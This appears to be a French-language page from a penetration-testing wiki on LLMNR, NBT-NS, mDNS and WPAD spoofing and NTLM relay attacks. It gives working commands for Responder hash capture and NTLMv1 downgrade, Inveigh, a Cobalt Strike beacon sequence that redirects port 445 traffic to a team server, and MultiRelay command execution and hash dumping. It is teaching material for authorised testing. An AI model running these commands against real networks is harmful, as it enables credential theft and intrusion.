# Spoofing LLMNR, NBT-NS, mDNS/DNS et WPAD et attaques de relais {{#include ../../banners/hacktricks-training.md}} ## Protocoles Réseau ### Protocoles de Résolution de Nom Local - **LLMNR, NBT-NS et mDNS** : - Microsoft et d'autres systèmes d'exploitation utilisent LLMNR et NBT-NS pour la résolution de noms locaux lorsque DNS échoue. De même, les systèmes Apple et Linux utilisent mDNS. - Ces protocoles sont susceptibles d'interception et de spoofing en raison de leur nature non authentifiée et de diffusion sur UDP. - [Responder](https://github.com/lgandx/Responder) peut être utilisé pour usurper des services en envoyant des réponses falsifiées aux hôtes interrogeant ces protocoles. - Des informations supplémentaires sur l'usurpation de services utilisant Responder peuvent être trouvées [ici](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md). ### Protocole de Découverte Automatique de Proxy Web (WPAD) - WPAD permet aux navigateurs de découvrir automatiquement les paramètres de proxy. - La découverte est facilitée via DHCP, DNS, ou un retour à LLMNR et NBT-NS si DNS échoue. - Responder peut automatiser les attaques WPAD, dirigeant les clients vers des serveurs WPAD malveillants. ### Responder pour le Poisoning de Protocole - **Responder** est un outil utilisé pour empoisonner les requêtes LLMNR, NBT-NS et mDNS, répondant sélectivement en fonction des types de requêtes, ciblant principalement les services SMB. - Il est préinstallé dans Kali Linux, configurable à `/etc/responder/Responder.conf`. - Responder affiche les hachages capturés à l'écran et les enregistre dans le répertoire `/usr/share/responder/logs`. - Il prend en charge à la fois IPv4 et IPv6. - La version Windows de Responder est disponible [ici](https://github.com/lgandx/Responder-Windows). #### Exécution de Responder - Pour exécuter Responder avec les paramètres par défaut : `responder -I ` - Pour un sondage plus agressif (avec des effets secondaires potentiels) : `responder -I -P -r -v` - Techniques pour capturer les défis/réponses NTLMv1 pour un craquage plus facile : `responder -I --lm --disable-ess` - L'usurpation WPAD peut être activée avec : `responder -I --wpad` - Les requêtes NetBIOS peuvent être résolues à l'IP de l'attaquant, et un proxy d'authentification peut être mis en place : `responder.py -I -Pv` ### Poisoning DHCP avec Responder - Le spoofing des réponses DHCP peut empoisonner de manière permanente les informations de routage d'une victime, offrant une alternative plus discrète au poisoning ARP. - Cela nécessite une connaissance précise de la configuration du réseau cible. - Exécution de l'attaque : `./Responder.py -I eth0 -Pdv` - Cette méthode peut capturer efficacement les hachages NTLMv1/2, mais nécessite une manipulation prudente pour éviter toute perturbation du réseau. ### Capture de Credentials avec Responder - Responder usurpera des services en utilisant les protocoles mentionnés ci-dessus, capturant des credentials (généralement NTLMv2 Challenge/Réponse) lorsqu'un utilisateur tente de s'authentifier contre les services usurpés. - Des tentatives peuvent être faites pour rétrograder à NetNTLMv1 ou désactiver ESS pour un craquage de credentials plus facile. Il est crucial de noter que l'utilisation de ces techniques doit être effectuée légalement et éthiquement, en s'assurant d'une autorisation appropriée et en évitant toute perturbation ou accès non autorisé. ## Inveigh Inveigh est un outil pour les testeurs de pénétration et les équipes rouges, conçu pour les systèmes Windows. Il offre des fonctionnalités similaires à Responder, effectuant des attaques de spoofing et de l'homme du milieu. L'outil a évolué d'un script PowerShell à un binaire C#, avec [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) et [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) comme principales versions. Des paramètres détaillés et des instructions peuvent être trouvés dans le [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters). Inveigh peut être utilisé via PowerShell : ```powershell Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y ``` Ou exécuté en tant que binaire C#: ```bash Inveigh.exe ``` ### NTLM Relay Attack Cette attaque exploite les sessions d'authentification SMB pour accéder à une machine cible, accordant un shell système si elle réussit. Les prérequis clés incluent : - L'utilisateur authentifié doit avoir un accès administrateur local sur l'hôte relayé. - La signature SMB doit être désactivée. #### 445 Port Forwarding and Tunneling Dans les scénarios où l'introduction directe dans le réseau n'est pas réalisable, le trafic sur le port 445 doit être redirigé et tunnelé. Des outils comme [**PortBender**](https://github.com/praetorian-inc/PortBender) aident à rediriger le trafic du port 445 vers un autre port, ce qui est essentiel lorsque l'accès administrateur local est disponible pour le chargement de pilotes. PortBender setup and operation in Cobalt Strike: ```bash Cobalt Strike -> Script Manager -> Load (Select PortBender.cna) beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory beacon> upload C:\PortBender\WinDivert64.sys # Upload driver beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445 beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server beacon> socks 1080 # Establish a SOCKS proxy on port 1080 # Termination commands beacon> jobs beacon> jobkill 0 beacon> rportfwd stop 8445 beacon> socks stop ``` ### Autres outils pour l'attaque de relais NTLM - **Metasploit** : Configuré avec des proxies, des détails sur les hôtes locaux et distants. - **smbrelayx** : Un script Python pour relayer les sessions SMB et exécuter des commandes ou déployer des portes dérobées. - **MultiRelay** : Un outil de la suite Responder pour relayer des utilisateurs spécifiques ou tous les utilisateurs, exécuter des commandes ou extraire des hachages. Chaque outil peut être configuré pour fonctionner via un proxy SOCKS si nécessaire, permettant des attaques même avec un accès réseau indirect. ### Fonctionnement de MultiRelay MultiRelay est exécuté depuis le _**/usr/share/responder/tools**_ répertoire, ciblant des IP ou des utilisateurs spécifiques. ```bash python MultiRelay.py -t -u ALL # Relay all users python MultiRelay.py -t -u ALL -c whoami # Execute command python MultiRelay.py -t -u ALL -d # Dump hashes # Proxychains for routing traffic ``` Ces outils et techniques forment un ensemble complet pour mener des attaques par relais NTLM dans divers environnements réseau. ### Forcer les connexions NTLM Dans Windows, vous **pouvez être en mesure de forcer certains comptes privilégiés à s'authentifier sur des machines arbitraires**. Lisez la page suivante pour apprendre comment : {{#ref}} ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md {{#endref}} ## Références - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) - [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/) - [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/) - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/) - [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html) {{#include ../../banners/hacktricks-training.md}}